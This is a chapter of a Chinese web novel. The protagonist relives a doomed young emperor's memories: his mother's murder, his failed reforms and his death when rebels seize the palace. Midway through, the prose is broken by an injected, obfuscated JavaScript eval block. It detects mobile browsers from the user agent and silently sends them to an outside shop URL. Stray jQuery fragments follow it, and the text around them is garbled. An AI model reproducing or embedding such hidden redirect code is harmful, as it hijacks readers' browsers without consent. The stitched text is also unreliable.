嘈杂的人声远去,秦书凡睁开双眼,眼前是漫长黑暗的通道。
一步,两步,他在黑暗中摸索着向前,走到淡白色的光幕前,脚下忽然触及坚硬的石砖。
他闻见雨后潮湿的气息,微风阵阵,一点翠绿的柳拂过,朱红明黄的色块渐次清晰,化成飞檐翘角的楼阁。
宫殿,宫城。
这里是……舒行渊的灵境?
梳着双髻的孩童跑过,证实秦书凡的猜想。那是六岁的舒行渊,他匆匆跑过小桥,虽然极力克制着兴奋,急促的脚步却暴露了他的雀跃。
他跑得太急,踢上大雨冲损的木板,险些在桥上摔倒。
秦书凡去扶他,透明的手穿过去,舒行渊依旧向前扑去。
“哥儿!哥儿!慢些!”
所幸嬷嬷及时赶到,她抱住舒行渊,惊魂未定地摸着他的脸。
“还好没摔着。”嬷嬷责怪道,“方才我与你说过,这桥坏了,要跑慢些。”
“嬷嬷!”舒行渊眼底光彩十足,“今日是十五!”
十五是皇子进宫请安的日子。他能去后宫见母亲。
“是。”嬷嬷一怔,反应过来后笑道,“我们一会便去宫里看娘娘。”
“夫子说我文章做得好。”舒行渊举起尚显稚嫩大字,往嬷嬷面前凑,“我要给母妃瞧。母妃定然会高兴的。”
小桥淡去,眼前景色变化,变成一处宫殿。
窗扇半开,皇帝与皇妃相对而坐,闲闲叙着家常。
皇帝斜靠软枕,问:“渊儿今日来看你?”
皇妃笑道:“是。”
她看向窗外,期待着舒行渊的到来。几个月过去,她的孩子肯定又长大了些。
新来的宫女为皇帝与皇妃奉茶。这宫女从前在花房侍弄花草,活做得好,被赏赐给皇妃当掌事宫女。
皇帝漫不经心端起茶盏,忽见宫女肤色细腻,顿时起了兴趣:“让朕瞧瞧你的脸。”
宫女慌忙跪地,瑟缩着不敢抬头。
皇帝喜怒无常,宫人都在私下传说他有疯病,若是发作起来,满宫殿侍奉的人都要遭殃。
宫女还有两年就年满出宫了,她不想留下侍奉残暴的皇帝,她想回家见她的爹娘。
她拼命低头,克制不住地发抖。
“抖什么?”皇帝从来都不是有耐心的人,他皱一皱眉,带上了些戾气,“朕叫你把头抬起来。”
“陛下。”皇妃见宫女实在可怜,出来劝道,“陛下坐拥佳丽三千,又何必注意一个宫人?”
“这宫里的东西都是朕的,区区一个奴才,朕还要不到吗?”皇帝一脚踹倒宫女,“晦气,拖下去打二十棍。”
“陛下。”皇妃脸色微变,“她并无过错,好好的,为什么要受罚?”
“她不错,难道是朕的错?”皇帝冷笑,“你胆子是越来越大了。”
他指着惊慌失措的宫女:“既然皇妃给你求恩典,那朕就给你个痛快。来人,拖下去杖毙。”
“陛下。”皇妃匆忙起身,“是臣妾失言。可这是一条活生生的性命,求陛下网开一面,绕了她这遭。”
“多事!”皇帝震怒,抓起茶盏朝皇妃掷去,“朕做事,轮不到你说话。”
茶盏砸中皇妃的头,皇妃摇晃着跌倒,大片血迹染红了衣裳。
皇帝厌烦地看她一眼,起身拂袖而去。
后宫传出消息,宁秀宫皇妃偶感风寒,因为身子孱弱,很快就丧了命。
这是嬷嬷说给舒行渊的话,但舒行渊知道嬷嬷在骗他。
杖毙宫女时,母亲宫里抬出了两具尸体。
他看见了。
母亲不能下葬,她的尸身被扔在极乐堂,和染疫病而死的宫人放在一起。她触怒天颜,连名字都不能留下。
这里无人打扫,腐烂的尸体胡乱堆在一起,舒行渊认不出他最爱的母亲。
他不能祭奠母亲,只有嬷嬷冒死寻来些纸钱,叫他悄悄给娘娘烧去。
他烧了纸钱,又把那张夫子叫好的文章烧给母亲。火焰吞噬了纸张,舒行渊站在层层叠叠的尸体前,瞳仁泛起无生机的光。
后来皇帝也死了。大皇兄夭折,二皇兄是个疯子,皇位便传到他这第三子头上。
登基大典在一个晴日里举行,舒行渊端坐在龙椅上,看向自己的朝臣。
他看向玉阶下的文武百官,他们眼中没有希冀,没有期盼,只有麻木的敷衍,和数不尽的算计。
冬日的阳光照不进宫殿,舒行渊坐在华贵的殿宇里,忽然觉得很冷。
这大殿已经很旧很旧了。从他祖爷爷那朝时便在,几百年过去,未曾添过新的色彩。
梁柱上的朱红彩漆剥落,漏出残破的木材,和他的臣子一样,衰朽得叫人害怕。
无妨。舒行渊想。他有他的子民,他要做个明君。
他问他的朝臣:“各地旱灾频仍,朝廷要拨粮赈灾。近日京城粮价几何?”
他的臣子对答:“十两银一斗。”
朝廷拨出去近万两,只能换小半座城的赈灾粮。舒行渊用尽办法救受灾的百姓,可臣下总向他上书:办不到,办不到,办不到。
一年年过去,朝堂上只剩反驳与沉默。要平叛,无人愿意领兵。要改制,又劝他守祖宗成法。什么都不做,臣子又要他做个明君。
也有几个忠臣,几个勇将。
他执意清田减赋,有位锐意革新的户部员外郎愿为钦差。舒行渊允了,他抱着希望,将员外郎提拔为侍郎。可那员外郎动了长公主的庄田,清田第二日,他的尸身就被送到宫城门外,身首异处。
地方豪族作乱,他派大将军平叛,可粮草被那群勋戚贪去,从未送去过前线。
大将军领着饥肠辘辘的残兵,用折断的弓箭战至最后一刻,被叛军乱刀斩杀。
大将军没能入土为安,城里的尸体太多,将军和小兵,贵人和百姓堆在一处,谁都认不出谁。
只有一件残破的血衣,被死里逃生的部下送回宫城,送至舒行渊案头。
那是乾睿五年的冬天。
舒行渊放好大将军的血衣,没有打开加急送至案前的战报。
“什么声音?”他听见御书房外的乐声,问案前侍奉的公公。
“是太后娘娘在听戏。”小公公回道。
“什么戏?”
“太平宴。”
小公公道:“老娘娘体恤陛下辛苦,叫陛下一起去听戏呢。可陛下总不爱去。”
领头太监呵斥道:“陛下忙于政务,要你在这说嘴?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947877|207170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小公公吓得跪地不起:“陛,陛下,奴才该死,奴才该死。”
“去便去罢。”舒行渊让小公公起来。
领头太监错愕地看着舒行渊。舒行渊勤于政务,平日臣子听戏狎游都会被他呵斥,今日却忽然转了性自:“陛下?”
“听戏罢。”舒行渊笑着道。
他什么都不做,做一个昏庸的皇帝最好。
那样死的人就少了。
皇太后是舒行渊嫡母,见他愿意陪着听戏,高兴道:“还是皇帝有孝心,让哀家也能享一享儿孙福。”
太后总说,她做什么都是为皇帝好。她为皇帝操持选秀,为他大办生辰宴,可连他病了都不知道。
舒行渊忍病喝下太后劝的酒,越喝越是高兴。是啊,有什么不好,不用处理政事,这样对谁都好。
他醉醺醺地抛出赏钱,向台上的伶人大声叫好。
冲天烈焰烧去伶人清平唱腔的尾音,奢靡的戏台被一把火烧去,出将入相随风飘下台,被叛军踩在脚下。
庆平侯攻入这座金碧辉煌的宫殿,把假作的太平撕开残酷的一角。
叛军见人便杀,昔日的九重宫阙彻底沦为地狱。
宫人惊慌四散,舒行渊提着酒壶坐在玉阶上,对那些逃命的宫人笑:“都走罢。要什么拿走便是。”
他把贴身玉佩扔给总管太监:“跑罢。别傻乎乎丢了性命。”
宫殿里只剩他一个人,他独自坐着,看着叛军闯入大殿。
这叛军满手是血,衣裳破破烂烂,可仔细看他的脸,倒像是十几岁的孩子。
叛军停在舒行渊身前,他不敢贸然动手,犹豫着问:“你,你就是皇帝?”
“如假包换。”舒行渊笑了。
他很温和地问那少年:“你叫什么?”
“刘大。”
“刘大,你为何参军?”
“穷,吃不起饭。当兵就有饭吃。”
“你家几口人?”
“六口。乡里闹饥荒,爹娘哥哥都饿死了。家里只剩我和长姐。”
“没有赈灾粮么?”
“少。官长说粮食贵,只有那一口两口,填不饱肚子。”
“贵?京城粮价几何?”
“五贯钱一斗。”
五贯钱。
只要五贯钱。
“你为什么要到这来?”
“杀皇帝,皇帝的头值十两银。”
十两,那是刘大全家一年的口粮钱。能养活他和他的姐姐。舒行渊想。
“那你便拿去罢。”
他的头,手,脚,加起来值几十两,还能养活不少百姓。
“你拿着朕的头去领赏。若是能剩下些残躯骸骨……”
舒行渊笑:“就扔去极乐堂。”
他想他娘了。
宫殿在大火中模糊远去,秦书凡听见遥远的声音,像是小狼在说话:“找到……他……下葬。”
声音和宫殿齐齐消失,秦书凡心神一震,蓦地掉入陌生的身躯。
“齐将军。”
兵士敲响他的门。
“齐将军。”
秦书凡推开门,兵士向他抱拳行礼。
“吉时已到,我们该去宫中迎林家小姐了。”